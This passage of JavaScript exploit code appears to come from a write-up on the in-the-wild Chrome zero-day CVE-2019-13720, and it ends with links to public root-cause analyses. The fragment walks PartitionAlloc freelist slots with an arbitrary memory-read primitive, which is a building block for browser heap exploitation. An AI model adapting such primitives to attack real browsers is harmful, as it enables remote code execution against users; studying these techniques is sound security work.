  const maskSlotSize = BigInt(0xffffffff);
  const offsetActivePage = BigInt(0);
 
  curSlotSize = read64(freelist, slot + offsetSlotSize) & maskSlotSize;
 
  let bucket = undefined;
  let bucket_size = 0;
  let delta = BigInt(0);

  switch (slot_size) {
    default:
      throw 'invalid slot size';
     break; case 0x140:
      delta = BigInt(0x2c0);
     break; case 0x20:
      delta = BigInt(-128);
  }

  let getSlotSize = (slot) => read64(freelist,
	  slot + delta + offsetSlotSize) & maskSlotSize;
  let getSlotHead = (slot) => read64(freelist,
	  slot + delta + offsetActivePage);

  next_slot = read64(freelist, getSlotHead(slot));
  return next_slot;
}

Reference

  • https://googleprojectzero.github.io/0days-in-the-wild//0day-RCAs/2019/CVE-2019-13720.html
  • https://securelist.com/the-zero-day-exploits-of-operation-wizardopium/97086/
  • https://www.anquanke.com/post/id/244743